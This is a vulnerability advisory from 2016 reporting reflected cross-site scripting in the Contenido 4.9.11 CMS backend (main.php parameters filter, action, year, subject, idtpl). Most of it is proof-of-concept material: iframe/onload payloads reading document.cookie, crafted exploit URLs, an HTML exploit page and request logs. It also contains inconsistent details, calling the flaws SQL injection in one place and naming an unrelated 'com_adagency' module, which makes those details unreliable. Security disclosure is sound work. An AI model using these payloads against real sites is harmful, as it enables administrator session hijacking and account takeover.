Document Title:
===============
Contenido v4.9.11 - (Backend) Multiple XSS Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1928


Release Date:
=============
2016-10-10


Vulnerability Laboratory ID (VL-ID):
====================================
1928


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
The German-language open source web content management system for (multilingual) platforms and portals. Individual adjustments, new functions and 
seamless integration into complex IT systems in the company are readily realizable. Integrated communication via  different channels, automatically 
manage content and represent optimal - even for mobile devices like tablets or smartphones

(copy of the Vendor Homepage:  http://www.contenido.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple client-side cross site scripting vulnerabilities in the Contenido v4.9.11 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-10-10:  Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Four for Business AG 
Product: Contenido - Content Management System (Web-Application) 4.9.11


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple client-side cross site vulnerabilities has been discovered in the official Contenido v4.9.11 content management system component.
The non-persistent cross site vulnerability allows remote attackers to inject own malicious script code to client-side web-application requests.

The sql-injection vulnerabilities are located in the `filter`, `action`, `year`, `subject` and `idtpl` parameters of the `main.php` backend file.
The request method to inject malicious script code is GET and the attack vector is located to the client-side of the web-application. Attackers are 
able to trigger the payload in client-side requests to compromise session credentials of administrators, moderators or other user accounts.

The security risk of the client-side xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the non-persistent cross site scripting web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious 
source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] com_adagency

Vulnerable File(s):
[+] main.php

Vulnerable Parameter(s):
[+] filter
[+] action
[+] year
[+] subject
[+] idtpl


Proof of Concept (PoC):
=======================
The client-side xss web vulnerabilities can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payload
"><iframe src="evil.source" onload=alert(document.cookie) <div style="1
"><iframe src="evil.source" onload=alert(document.domain) <div style="1


PoC: Exploitatation (main.php - filter, year, action, subject and idtpl)
http://contenido.localhost:8080/contenido/main.php
?&contenido=1&elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--
&filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C%3E%20%3Ciframe%3E&searchin=
--all--&page=1&area=frontend&frame=1&view=img_user&actionrow=undefined&filterrow=undefined&page=1

http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idcat=&contenido=
3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C

http://contenido.localhost:8080/contenido/main.php?contenido=
3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=%3E%3E%22%3C%3C%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&frame=4&area=content_allocation&step=add&parentid=1

http://contenido.localhost:8080/contenido/main.php
?subject=%3E%22%3Ciframe%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame=1&itemtype=idmod&itemid=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618

http://contenido.localhost:8080/contenido/main.php
?area=tpl_edit&action=tpl_duplicate&idtpl=%3Ciframe%3E%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C8&frame=4&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618


PoC: Exploit
<html>
<head><body>
<title>POC: Client Side Cross Site Scripting (main.php)</title>
<iframe=http://contenido.localhost:8080/contenido/main.php?&contenido=1&elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--&
filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C%3E%20%3Ciframe%3E&searchin=--all--&page=1&area=frontend&frame=1&
view=img_user&actionrow=undefined&filterrow=undefined&page=1>
<iframe=http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&
displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C>
<iframe=http://contenido.localhost:8080/contenido/main.php?contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=
%3E%3E%22%3C%3C%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C&frame=4&area=content_allocation&step=add&parentid=1>
<iframe=http://contenido.localhost:8080/contenido/main.php?subject=%3E%22%3Ciframe%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame=1&itemtype=
idmod&itemid=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618>
<iframe=http://contenido.localhost:8080/contenido/main.php?area=tpl_edit&action=tpl_duplicate&idtpl=%3Ciframe%3E%3E%22%3Ciframe%20src=
a%20onload=alert(document.cookie)%20%3C8&frame=4&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618>
</body></head>
</html>


--- PoC Session Logs [GET] (idtpl) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?area=tpl_edit&action=tpl_duplicate&idtpl=1%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C8&frame=4&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618 
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[4962]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]

--- PoC Session Logs [GET] (filter) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?&contenido=1&elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--
&filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C%3E%20%3Ciframe%3E&searchin=--all--
&page=1&area=frontend&frame=1&view=img_user&actionrow=undefined&filterrow=undefined&page=1
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]
-
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/x[MALICIOUS SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://contenido.localhost:8080/contenido/main.php?&contenido=1&elemperpage=25&sortby=username&sortorder=asc&restrictgroup=--all--&filter=%22%3E%3C%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C%3E%20%3Ciframe%3E&searchin=--all--&page=1&area=frontend&frame=1&view=img_user&actionrow=undefined&filterrow=undefined&page=1]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=iso-8859-1]

--- PoC Session Logs [GET] (year) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]
-
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/a[MALICIOUS SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://contenido.localhost:8080/contenido/main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=stat_show&displaytype=top20&showYear=1&year=%3E%22%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=iso-8859-1]

--- PoC Session Logs [GET] (action) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618&action=%3E%22%3Ciframe%3E%3E%22%3Ciframe%3E%3Ciframe%20src=a%3E&frame=4&area=content_allocation&step=add&parentid=1 
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]

--- PoC Session Logs [GET] (subject) ---
Status: 200[OK]
GET http://contenido.localhost:8080/contenido/main.php?subject=%3E%22%3Ciframe%20src=%22x%22%3E%20%3Ciframe%3E&area=todo&frame=1&itemtype=idmod&itemid=16%27&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618 
Mime Type[text/html]
   Request Header:
      Host[contenido.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[backend=3lpgep5s8tsvcsm7ppctcr5ofaf9s618; 1frontend=nfmbr6mge7vvcrhnumk1t3g3a4jcsho0]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.22 (Debian)]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Content-Type[text/html; charset=utf-8]



PoC: Vulnerable Source (filter)
<tr>
<td>Suche nach</td>
<td><input id="m35" name="filter" value=""><"<iframe src=a onload=alert(document.cookie) <[CLIENT SIDE SCRIPT CODE EXECUTION!]> <iframe>" size="20" type="text" class="text_medium" /></td>
</tr>


PoC: Vulnerable Source (year)
<td valign="top">JA$?hrlich Top 20 >"<iframe src="a" onload="alert(document.cookie)" <<="" td="">
    <td valign="top" align="right"><form name="name">  <select class="text_medium" onchange="top10ActionYearly(this)">    
<option value="top10" >Top 10</option>    <option value="top20" selected>Top 20</option>    <option value="top30" >Top 30</option>    
<option value="all" >Alle</option>  </select></form><form name="hiddenValues"><input type="hidden" 
name="yearmonth" value=">"<iframe src=a onload=alert(document.cookie) <[CLIENT SIDE SCRIPT CODE EXECUTION!]"></form></td>
    </tr>
</table>
<table class="generic" width="100%" cellspacing="0" cellpadding="2">
    <tr>
        <th style="padding-left:5px">Titel</th>
        <th align="right">Hits</th>
    </tr>
</table>
<script type="text/javascript">
function top10Action(selObj) {
    var url = 'main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618';
    var i = selObj.selectedIndex;
    var sortkey = selObj.options[i].value;
    window.location.href = url + '&action=stat_show&displaytype=' + sortkey + '&yearmonth=' + document.hiddenValues.yearmonth.value;
}
function top10ActionYearly(selObj) {
    var url = 'main.php?area=stat&frame=4&idcat=&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618';
    var i = selObj.selectedIndex;
    var sortkey = selObj.options[i].value;
    window.location.href = url + '&action=stat_show&displaytype=' + sortkey + '&showYear=1&year=' + document.hiddenValues.yearmonth.value;
}
</script>
</body>
</html>
</iframe></td>


PoC: Vulnerable Source (action)
<body class="page_generic page_content_allocation_edit" id="content_allocation_edit">
<div id="m1"><a href="main.php?action=>"<iframe>>"<iframe><iframe src=a>[CLIENT SIDE SCRIPT CODE EXECUTION!]&step=createRoot&frame=4&area=content_allocation
&contenido=3lpgep5s8tsvcsm7ppctcr5ofaf9s618"><img  src="images/folder_new.gif" border="0" class="vAlignMiddle"><span class="tableElement">Neuen Baum erstellen</span></a></div>
<div id="m2"><table border="0" cellpadding="2" cellspacing="0" width="800" class="borderB3 nobordert noborderr">
    <tr class="text_medium fett bgcE2">
        <td width="600" class="textg_medium borderB3 noborderl noborderb">
            Kategorie
        </td>
        <td width="200" class="textg_medium borderB3 noborderl noborderb">
            Aktionen
        </td>
    </tr>


PoC: Vulnerable Source (subject)
<body class="page_generic page_todo_popup" id="todo_popup">
<form  enctype="multipart/form-data" style="margin:0px" name="reminder" method="post" action="main.php">
<input id="m11" name="area" type="hidden" value="todo" />
<input id="m12" name="frame" type="hidden" value="1" />
<input id="m13" name="action" type="hidden" value="todo_save_item" />
<input id="m14" name="itemtype" type="hidden" value="idmod" />
<input id="m15" name="itemid" type="hidden" value="16'" />
<input id="m16" name="contenido" type="hidden" value="3lpgep5s8tsvcsm7ppctcr5ofaf9s618" />
<table style="width: auto;" id="" class="generic" cellspacing="0" cellpadding="2">
<tr id="m17"><th id="m18" colspan="2" valign="top">ToDo-Eintrag erstellen</th></tr>
<tr class="1">
<td nowrap="nowrap" valign="top" style="white-space: nowrap;" width="1"><nobr>Betreff</nobr></td>
<td nowrap="nowrap" valign="top" align="left"><input id="m1" name="subject" value=">"<iframe src="x">[CLIENT SIDE SCRIPT CODE EXECUTION!]<iframe>" size="60" type="text" /></td>
</tr>
<tr class="2">
<td nowrap="nowrap" valign="top" style="white-space: nowrap;" width="1"><nobr>Beschreibung</nobr></td>
<td nowrap="nowrap" valign="top" align="left"><textarea id="m2" name="message" cols="50" rows="5"></textarea></td>
</tr>


PoC: Vulnerable Source (idtpl)
<tbody><tr id="m739"><th id="m740" colspan="2" valign="top">Vorlage bearbeiten</th></tr>
    <tr class="1">
        <td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Name</nobr></td>
        <td align="left" nowrap="nowrap" valign="top"><input id="m2" name="tplname" value="standard" size="35" type="text"></td>
    </tr>
    <tr class="2">
        <td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Beschreibung</nobr></td>
        <td align="left" nowrap="nowrap" valign="top"><textarea id="m3" name="description" cols="50" rows="5"></textarea></td>
    </tr>
    <tr class="3">
        <td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Standard</nobr></td>
        <td align="left" nowrap="nowrap" valign="top"><input id="m4" name="vdefault" checked="checked" value="1" type="checkbox"></td>
    </tr>
    <tr class="4">
        <td style="white-space: nowrap;" nowrap="nowrap" valign="top" width="1"><nobr>Layout</nobr></td>
        <td align="left" nowrap="nowrap" valign="top"><span style="margin: 5px 0 5px 0;">
    <select id="{ID}" name="idlay" class="text_medium" onchange="tplform.changelayout.value=1;tplform.submit();">
        <option value="0">--- kein ---</option>
        <option value="1" selected="">standard</option>
        <option value="2">start_page</option>
        <option value="3">system</option>
        
    </select>


Reference(s):
http://contenido.localhost:8080/
http://contenido.localhost:8080/contenido/
http://contenido.localhost:8080/contenido/main.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of all vulnerable marked parameters in the client-side GET method request.
Disallow the usage of special chars and filter the output context to prevent further client-side script code injection attacks.
Escape in case of emergency all entries to ensure those are secure processed by the validation mechanism of the cms.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerabilities in the main.php backend file GET method requests are estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
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